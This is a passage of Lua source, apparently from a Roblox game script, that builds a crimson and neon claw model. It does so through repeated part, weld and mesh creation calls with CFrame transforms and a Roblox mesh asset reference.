  627. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.453824013, -0.291407824, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  628. CreateMesh("BlockMesh", ClawMaterial, "", "", Vector3.new(0, 0, 0), Vector3.new(0.83414197, 0.388499111, 1.00999999))
  629. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  630. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51018995, -0.50767684, 0.297928989, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  631. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  632. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  633. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0117785633, -0.903934956, 0.39272213, 0.707106352, 0, 0.707107365, 0, 1, 0, -0.707107365, 0, 0.707106352))
  634. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  635. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  636. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.677359819, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  637. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  638. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  639. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0118038058, 0.689624906, 0.570050001, 0.707103848, 0, 0.707109809, -0.707109809, 0, 0.707103848, 0, -1, 0))
  640. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  641. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  642. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510767996, -0.508222818, -0.295575023, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  643. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  644. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  645. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285520971, -0.664801836, -0.00591700012, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  646. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  647. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.728394926, 0.35408181, 1.04200566))
  648. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.159419954, -0.695495844, -0.00616900017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  649. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  650. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.796342552, 0.65287286, 1.04582763))
  651. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.144507021, 0.270431995, -0.00702500017, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  652. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  653. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 1.04200566))
  654. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0228680372, -0.903097868, -0.00617699977, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  655. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  656. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  657. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51076597, -0.157143831, -0.295579016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  658. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.231076032, 0.543544471, 0.369591445))
  659. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.475480139, 0.404664904, 1.04200566))
  660. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.236273766, -0.56151557, -0.0061809998, 0.707106352, 0.707107365, 0, -0.707107365, 0.707106352, 0, 0, 0, 1))
  661. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  662. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 0.796189725))
  663. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000811070204, -0.902295828, 0.381639034, -0.707106829, 0, 0.707106829, 0, 1, 0, -0.707106829, 0, -0.707106829))
  664. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  665. Part = CreatePart2(m, Enum.Material.Neon, 0, 0, "Part", "Crimson", "Part", Vector3.new(1, 1, 1))
  666. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.618730307, -0.382281303, 0, 0, 1, 0.36670509, -0.93033725, 0, 0.93033725, 0.36670509, 0))
  667. CreateMesh("SpecialMesh", Part, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.5, 0.709999979, 0.100000001))
  668. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 0.524428368))
  669. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.000812500715, 0.678554535, 0.570062876, -0.707106829, 0, 0.707106829, -0.707106829, 0, -0.707106829, 0, -1, 0))
  670. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 1))
  671. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.274916351, 0.495625556, 1.04582763))
  672. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.386464, 0.349603176, -0.00702300016, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  673. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  674. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 1.06329954))
  675. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.285515964, -0.215442896, -0.00591900013, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  676. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.311503083, 0.543544471, 1))
  677. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  678. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.51019901, -0.156597853, 0.297930986, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  679. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  680. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(1.06224263, 1.11860847, 1.04200566))
  681. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00774800777, 0.0171630383, -0.0061809998, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  682. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 1))
  683. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "Part", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  684. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.510194004, -0.67681098, 0.297922999, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  685. CreateMesh("BlockMesh", Part, "", "", Vector3.new(0, 0, 0), Vector3.new(0.225887179, 0.543544471, 0.369591445))
  686. ClawMaterial = CreatePart2(m, Enum.Material.SmoothPlastic, 0.30000001192093, 0, "WedgePart", TorsoColor, "ClawMaterial", Vector3.new(1.0507766, 0.342107773, 0.210450009))
  687. ClawMaterialWeld = CreateWeld(m, Handle, ClawMaterial, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00591100007, -0.468749046, 0.193565369, 0, 0, 1, -0.700001419, -0.714141428, 0, 0.714141428, -0.700001419, 0))
  688. CreateMesh("SpecialMesh", ClawMaterial, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.961421788))
  689. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  690. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00134065747, 0.207813978, 0.709334135, 0.707106829, 0, -0.707106829, 0, -1, 0, -0.707106829, 0, -0.707106829))
  691. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  692. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  693. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947299972, -0.114370823, -0.440932035, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  694. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.561885834, 0.961421788))
  695. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(1.05023062, 0.411995441, 0.210450009))
  696. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00891099963, -0.798730135, 0.476718009, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  697. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  698. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(1.04586256, 0.210449979, 0.27767837))
  699. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00726700015, 0.0232260227, 0.391721964, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  700. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.764251173, 1))
  701. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(1.05023062, 0.385787576, 0.210450009))
  702. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509499991, -0.792718172, 0.456955969, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  703. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 1, 0.644903481))
  704. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  705. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.00509600015, -0.696686029, 0.42363596, 0, 0, -1, 0, -1, 0, -1, 0, 0))
  706. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  707. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.210449979, 0.210449979, 0.210450009))
  708. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.012203753, 0.206679821, 0.707822442, -0.707106352, 0, -0.707107365, 0, -1, 0, -0.707107365, 0, 0.707106352))
  709. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(0.961425304, 0.961427808, 0.961421788))
  710. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(1.05023062, 0.210449979, 0.210450009))
  711. PartWeld = CreateWeld(m, Handle, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.00947900023, -0.695355177, 0.440928012, 0, 0, 1, 0, -1, 0, 1, 0, 0))
  712. CreateMesh("SpecialMesh", Part, Enum.MeshType.Wedge, "", Vector3.new(0, 0, 0), Vector3.new(1, 0.961427808, 0.961421788))
  713. MotorOne = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorOne", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  714. MotorOneWeld = CreateWeld(m, Handle, MotorOne, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.165818453, -0.00628910959, -0.978227913, -0.0732169896, -0.996971905, -0.0261989962, -0.542171299, 0.0618378855, -0.83798945, 0.837072074, -0.0471507274, -0.545057178))
  715. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  716. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413149118, -0.00709122419, -1.08955288, 0.90752846, 5.51342964e-07, -0.419990718, -1.73971057e-06, 1, -2.44379044e-06, 0.419990718, 2.95042992e-06, 0.90752852))
  717. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  718. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  719. ShardWeld = CreateWeld(m, MotorOne, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.205875158, -0.00710588694, -1.48987699, 0.747897685, -5.36441803e-07, -0.663814127, -1.66893005e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897744))
  720. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  721. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  722. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151987076, 0.549069643, -0.614215612, -1.19581819e-06, 1, 1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  723. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  724. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151856542, -0.490994453, -0.295432806, -1.19581819e-06, 1, 1.37090683e-06, -0.961226821, -7.5250864e-07, -0.27575928, -0.27575931, -1.57952309e-06, 0.96122694))
  725. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  726. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.015198648, 0.650615692, -0.406500697, -1.19581819e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  727. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  728. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152282119, 0.624634504, 0.129744053, -1.19581819e-06, 1, 1.37090683e-06, -0.832109034, -2.5331974e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  729. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  730. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0152042508, 0.944105864, 0.894237399, 1.19581819e-06, -1, -1.37090683e-06, -0.999459982, -1.24052167e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  731. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  732. ClawWeld = CreateWeld(m, MotorOne, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121058, -0.0170745254, -0.650540829, 1.00000012, 0, 3.7252903e-09, 0, 1, 0, 3.7252903e-09, 0, 1.00000024))
  733. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  734. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  735. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151966214, -1.64906764, 1.03426063, -1.19581819e-06, 1, 1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  736. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  737. PartWeld = CreateWeld(m, MotorOne, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252064466, -1.54980397, -0.844281435, 1.19581819e-06, -1, -1.37090683e-06, 0.999459982, 1.24052167e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  738. MotorTwo = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 1, TorsoColor, "MotorTwo", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  739. MotorTwoWeld = CreateWeld(m, Handle, MotorTwo, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0479729176, -0.503670454, -0.786706924, 0.0261989962, -0.996971905, -0.0732169896, 0.83798945, 0.0618378855, -0.542171299, 0.545057178, -0.0471507274, 0.837072074))
  740. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  741. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.413152218, -0.00709152222, -1.08955348, 0.90752846, 5.66244125e-07, -0.419990689, -1.74157321e-06, 1, -2.47359276e-06, 0.419990718, 2.98023224e-06, 0.907528639))
  742. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1.20000005, 0.200000003, 0.200000003))
  743. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  744. ShardWeld = CreateWeld(m, MotorTwo, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.20587635, -0.00710582733, -1.4898783, 0.747897685, -5.36441803e-07, -0.663814127, -1.6707927e-06, 1, -2.68220901e-06, 0.663814127, 3.12924385e-06, 0.747897804))
  745. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
  746. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 1.28999996, 0.319999993))
  747. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151982307, 0.549069643, -0.614216566, -1.19395554e-06, 1, 1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  748. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 2.73999977, 0.339999974))
  749. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151848793, -0.490990877, -0.295432806, -1.19395554e-06, 1, 1.37090683e-06, -0.961226821, -7.74860382e-07, -0.27575931, -0.27575925, -1.63912773e-06, 0.961226881))
  750. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 1.28999996, 0.479999989))
  751. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151979923, 0.650617838, -0.406501412, -1.19395554e-06, 1, 1.37090683e-06, -0.978774786, -8.94069672e-07, -0.204939544, -0.204939514, -1.51991844e-06, 0.978774667))
  752. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 1.28999996, 0.339999974))
  753. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0152257681, 0.624636889, 0.129745722, -1.19395554e-06, 1, 1.37090683e-06, -0.832109034, -2.38418579e-07, -0.554612279, -0.554612339, -1.78813934e-06, 0.832108974))
  754. Part = CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 1.03999996, 0.480000019))
  755. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.015203476, 0.944107533, 0.894238472, 1.19395554e-06, -1, -1.37090683e-06, -0.999459982, -1.24005601e-06, 0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  756. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  757. ClawWeld = CreateWeld(m, MotorTwo, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-1.86121142, -0.0170750618, -0.650540113, 1.00000012, -1.86264515e-09, 4.65661287e-09, -1.86264515e-09, 1, 0, 4.65661287e-09, 0, 1.00000024))
  758. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2.5, 0.300000012, 0.519999981))
  759. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 0.370000005, 0.200000003))
  760. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.0151972771, -1.64906967, 1.03426158, -1.19395554e-06, 1, 1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, -0.0328635164, 1.31130219e-06, -0.999459982))
  761. CreatePart2(m, Enum.Material.SmoothPlastic, 0, 0, "WedgePart", "Crimson", "Part", Vector3.new(0.329999983, 0.200000003, 0.200000003))
  762. PartWeld = CreateWeld(m, MotorTwo, Part, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0252062082, -1.54980803, -0.844281912, 1.19395554e-06, -1, -1.37090683e-06, 0.999459982, 1.24005601e-06, -0.0328635052, 0.0328635164, -1.31130219e-06, 0.999459982))
  763. MotorThumb = CreatePart(m, Enum.Material.Neon, 0.30000001192093, 0, TorsoColor, "MotorThumb", Vector3.new(0.200000003, 0.200000003, 0.200000003))
  764. MotorThumbWeld = CreateWeld(m, Handle, MotorThumb, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.436262846, -0.542311668, -0.983556807, -0.068211019, -0.995336354, 0.0682120249, -0.707106829, -7.08211871e-07, -0.707106709, 0.703809023, -0.0964656472, -0.703809083))
  765. Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1))
  766. ClawWeld = CreateWeld(m, MotorThumb, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(-0.607737899, 0.0110911727, 0.0515184402, 0.925057888, -4.47034836e-08, 0.379826128, -5.96046448e-08, 0.99999994, 2.68220901e-07, -0.379826188, -2.98023224e-07, 0.925057888))
  767. CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(2, 0.300000012, 0.370000005))
  768. Shard = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Shard", Vector3.new(1, 1, 1))
  769. ShardWeld = CreateWeld(m, MotorThumb, Shard, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.414689064, 0.0210665464, 0.175723732, 0.990283549, 1.41561031e-06, -0.13906303, -1.4193356e-06, 0.99999994, 1.49011612e-07, 0.13906303, 8.94069672e-08, 0.990283489))
  770. CreateMesh("SpecialMesh", Shard, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(0.800000012, 0.200000003, 0.200000003))
